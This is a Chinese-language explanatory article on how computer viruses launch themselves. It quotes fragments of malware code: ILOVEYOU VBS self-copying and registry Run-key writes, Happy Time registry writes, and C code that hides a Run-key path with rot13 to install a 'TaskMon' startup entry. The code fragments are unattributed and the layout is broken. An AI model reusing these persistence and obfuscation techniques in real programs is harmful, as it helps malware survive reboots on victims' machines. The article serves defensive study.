对
病毒的拦截我觉得主要应该在
病毒的启动之时。以下对
病毒结构的分析着重这一点。
我们知道所谓
病毒这种非法的恶意程序,一定要把自己的主体植入内存。即在受害体的电脑上运行。任何程序在不运行的时候都失去自己存在的意义。电脑
病毒必须运行才能产生
病毒的危害.
病毒运行的方式有很多种。每一种都必须要写入内存,以下简单列出一些常见的
病毒运行方式。
1.直接运行进程。此处说的指的是运行的时候创建文件的过程。即运行时候产生的结果。主要是指的是对CreateFile(),OpenFile(),GetFile()等函数的调用。很多
病毒都会运用这些函数读写文件。简单举例。
I LOVE YOU
病毒中,
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
HANDLE h = CreateFile(argv[1], GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ, 0,
OPEN_EXISTING, 0, 0);
if (h == INVALID_HANDLE_VALUE) {
printf("%s: cannot open \"%s\"\n", argv[0], argv[1]);
return;
}
if (GetFileSize(h,0) < 0x100) {
printf("%s: invalid size\n", argv[0]);
CloseHandle(h);
return;
}
DWORD dwPeOffs, dwRead, dwWritten;
SetFilePointer(h, 0x3C, 0, FILE_BEGIN);
ReadFile(h, &dwPeOffs, 4, &dwRead, 0);
2.写入注册表启动项目。多数
病毒利用RegCreateKey函数,新增加一个注册表的Value值。或者利用RegWriteKey函数写入修改值。使用RegOpenKey打开获取等等,总之是改变注册表以达到自己的目的。
如I LOVE YOU
病毒的一节,
Dim num,downread
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersio
n\Run\MSKernel32",dirsystem&"\MSKernel32.vbs"
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersio
n\RunServices\Win32DLL",dirwin&"\Win32DLL.vbs"
downread=""
downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Internet Explore
r\Download Directory")
这个
病毒虽然很老了,但事实脚本
病毒的典型。此
病毒就是利用regcreatekey函数新增开机启动项目。在run和runsrvices 下新增value值。来达到运行
病毒的目的。
如happy time
病毒,中
Dim R
On Error Resume Next
Set R = CreateObject("WScript.Shell")
R.RegWrite k, v
End Sub
Rw Ks & "Help\wallPaper", n3
Rw "HKEY_CURRENT_USER\Control Panel\desktop\wallPaper", n3
oeid = Rg("HKEY_CURRENT_USER\Identities\Default User ID")
oe = "HKEY_CURRENT_USER\Identities\" & oeid & "\Software\Microsoft\Outlook Express\5.0\Mail"
for (i=0; i<2; i++)
if (RegOpenKeyEx((i == 0) ? HKEY_LOCAL_MACHINE : HKEY_CURRENT_USER,
tmp, 0, KEY_READ, &k) == 0) {
RegCloseKey(k);
return;
}
sync->first_run = 1;
for (i=0; i<2; i++)
if (RegCreateKeyEx((i == 0) ? HKEY_LOCAL_MACHINE : HKEY_CURRENT_USER,
tmp, 0, NULL, 0, KEY_WRITE, NULL, &k, &disp) == 0)
RegCloseKey(k);
}
void sync_startup(struct sync_t *sync)
{
HKEY k;
char regpath[128];
char valname[32];
/* "Software\\Microsoft\\Windows\\CurrentVersion\\Run" */
rot13(regpath, "Fbsgjner\\Zvpebfbsg\\Jvaqbjf\\PheeragIrefvba\\Eha");
rot13(valname, "GnfxZba"); /* "TaskMon" */
if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, regpath, 0, KEY_WRITE, &k) != 0)
if (RegOpenKeyEx(HKEY_CURRENT_USER, regpath, 0, KEY_WRITE, &k) != 0)
return;
RegSetValueEx(k, valname, 0, REG_SZ, sync->sync_instpath, lstrlen(sync->sync_instpath)+1);
还有很多
木马和恶意程序都会关联到注册表的启动已经修改注册表的相关一些项目。在此不一一列举。总之,这种方式一直被广泛地运用着。(金州注释:本文所说的
病毒是广泛意义上的
病毒。包括一切危害或潜在危害到用户的程序。)
文章录入:cainiaowang 责任编辑:cainiaowang